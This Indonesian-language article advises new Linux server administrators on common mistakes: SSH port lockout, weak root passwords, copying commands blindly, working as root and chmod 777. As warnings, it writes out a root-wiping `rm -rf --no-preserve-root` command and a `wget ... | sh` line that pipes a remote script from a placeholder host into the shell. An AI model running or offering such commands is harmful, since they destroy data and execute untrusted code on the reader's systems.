
Pada tahun 2017, seorang karyawan di GitLab, platform hosting kontrol versi, diminta untuk mereplikasi database data produksi. Karena error konfigurasi, replikasi tidak berfungsi seperti yang diharapkan, sehingga karyawan memutuskan untuk menghapus data yang telah ditransfer dan mencoba lagi. Dia menjalankan perintah untuk menghapus data yang tidak diinginkan, hanya untuk menyadari dengan ketakutan yang meningkat bahwa dia telah memasukkan perintah ke dalam sesi SSH yang terhubung ke server produksi, menghapus ratusan gigabyte data user. Setiap administrator sistem berpengalaman dapat menceritakan kisah serupa kepada Anda.
Command line Linux memberi admin server kendali atas server mereka dan data yang tersimpan di dalamnya, tetapi tidak banyak yang menghentikan mereka menjalankan perintah destruktif dengan konsekuensi yang tidak dapat dibatalkan. Penghapusan data yang tidak disengaja hanyalah salah satu jenis error yang dilakukan oleh administrator server baru.
Mengunci kunci di dalam
Administrator server terhubung ke server dengan SSH, service yang biasanya berjalan pada port 22, menyediakan log-in shell yang melaluinya user yang diautentikasi dapat menjalankan perintah di server jarak jauh. Langkah pengerasan keamanan standar adalah mengonfigurasi SSH untuk menerima koneksi pada port yang berbeda. Memindahkan SSH ke port acak bernomor tinggi membatasi dampak serangan brute force; peretas tidak dapat mencoba login berbahaya ketika mereka tidak dapat menemukan port tempat SSH mendengarkan.
Namun, administrator yang mengonfigurasi SSH untuk mendengarkan pada port yang berbeda dan kemudian restart server SSH mungkin menemukan bahwa bukan hanya peretas yang terkunci. Jika firewall server tidak juga dikonfigurasi ulang untuk mengizinkan koneksi pada port baru, upaya untuk terhubung tidak akan pernah mencapai server SSH. Administrator akan dikunci dari server mereka tanpa cara untuk memperbaiki masalah kecuali membuka tiket dukungan dengan penyedia hosting mereka. Jika Anda mengubah port SSH, pastikan untuk membuka port baru di konfigurasi firewall server Anda.
Memilih password yang mudah ditebak
Serangan brute force adalah permainan tebak-tebakan. Penyerang mencoba banyak nama user dan password sampai mereka menemukan kombinasi yang memungkinkan mereka masuk. Serangan kamus adalah pendekatan yang lebih halus yang menggunakan daftar password, sering kali diambil dari basis data password yang bocor. Serangan terhadap akun root lebih mudah daripada terhadap akun lain karena penyerang sudah mengetahui nama user. Jika akun root memiliki password sederhana, maka itu dapat diretas dalam waktu singkat.
Ada tiga cara untuk bertahan melawan serangan brute force dan kamus terhadap akun root.
- Pilih password yang panjang dan rumit. Kata sandi sederhana mudah diretas; password yang panjang dan rumit tidak mungkin.
- Konfigurasikan SSH untuk melarang login root. Ini adalah perubahan konfigurasi sederhana, tetapi pastikan “sudo” dikonfigurasi untuk memungkinkan akun Anda meningkatkan hak istimewanya.
- Gunakan otentikasi berbasis kunci alih-alih password. Login berbasis sertifikat menghilangkan risiko serangan brute force sepenuhnya.
Menyalin perintah yang tidak Anda mengerti
Stack Exchange, Server Fault, dan situs serupa adalah penyelamat bagi administrator sistem Linux baru, tetapi Anda harus menghindari godaan untuk menyalin dan menempelkan perintah shell yang tidak Anda pahami. Apa perbedaan antara kedua perintah ini?
sudo rm -rf --no-preserve-root /mnt/mydrive/
sudo rm -rf --no-preserve-root /mnt/mydrive /
Sangat mudah untuk melihat ketika mereka ditampilkan bersama-sama, tetapi tidak begitu mudah ketika Anda mencari melalui forum untuk mencari perintah untuk menghapus konten dari volume yang dipasang. Perintah pertama menghapus semua file pada drive yang terpasang. Perintah kedua menghapus file-file itu dan semua yang ada di sistem file root server. Satu-satunya perbedaan adalah ruang sebelum garis miring terakhir.
Administrator server mungkin menemukan perintah panjang dengan saluran pipa yang dikatakan melakukan satu hal tetapi melakukan sesuatu yang lain sama sekali. Berhati-hatilah dengan perintah yang mengdownload kode dari internet.
wget http://example.com/verybadscript -O – | sh –
Perintah ini menggunakan wget untuk mengdownload skrip yang disalurkan ke shell dan d
ieksekusi. Untuk menjalankan ini dengan aman, Anda harus memahami apa yang dilakukan perintah dan juga apa yang dilakukan skrip yang didownload, termasuk kode apa pun yang dapat didownload oleh skrip yang didownload itu sendiri.
Masuk sebagai root
Sementara user biasa hanya dapat mengubah file di folder rumah mereka, ada sedikit yang tidak dapat dilakukan oleh user root di server Linux. Itu dapat menjalankan perangkat lunak apa pun, membaca data apa pun, dan menghapus file apa pun.
Aplikasi yang dijalankan oleh user root memiliki kekuatan yang sama. Lebih mudah untuk masuk sebagai user root karena Anda tidak harus “sudo” atau “su” sepanjang waktu, tetapi ini berbahaya. Salah ketik dapat merusak server Anda dalam hitungan detik. Perangkat lunak buggy yang dijalankan oleh user root dapat membuat malapetaka. Untuk operasi sehari-hari, masuk sebagai user biasa dan tingkatkan hak akses root hanya jika diperlukan.
Tidak mempelajari izin sistem file
Izin sistem file dapat membingungkan dan membuat frustrasi user Linux baru. String izin seperti “drwxr-xr-x” terlihat tidak berarti pada awalnya, dan izin dapat menghentikan Anda dari memodifikasi file dan menghentikan perangkat lunak melakukan apa yang Anda inginkan.
Administrator sistem dengan cepat mengetahui bahwa chmod 777 adalah mantra ajaib yang memperbaiki sebagian besar masalah ini, tetapi ini adalah ide yang buruk. Ini memungkinkan semua orang dengan akun membaca, menulis, dan menjalankan file. Jika Anda menjalankan perintah itu di direktori server web, Anda meminta untuk diretas. Izin file Linux terlihat rumit, tetapi jika Anda meluangkan waktu beberapa menit untuk mempelajari cara kerjanya, Anda akan menemukan sistem yang logis dan fleksibel untuk mengontrol akses file.
Di era yang menghargai pengalaman user yang sederhana di atas semua faktor lainnya, command line Linux tetap sangat kompleks dan tahan terhadap penyederhanaan. Anda tidak dapat mengacaukannya dan berharap semuanya akan baik-baik saja. Itu tidak akan baik-baik saja dan Anda akan berakhir dengan bencana di tangan Anda.
Tetapi jika Anda mempelajari dasar-dasarnya — izin file, alat command line dan opsinya, praktik terbaik keamanan — Anda bisa menjadi ahli salah satu platform komputasi paling kuat yang pernah dibuat.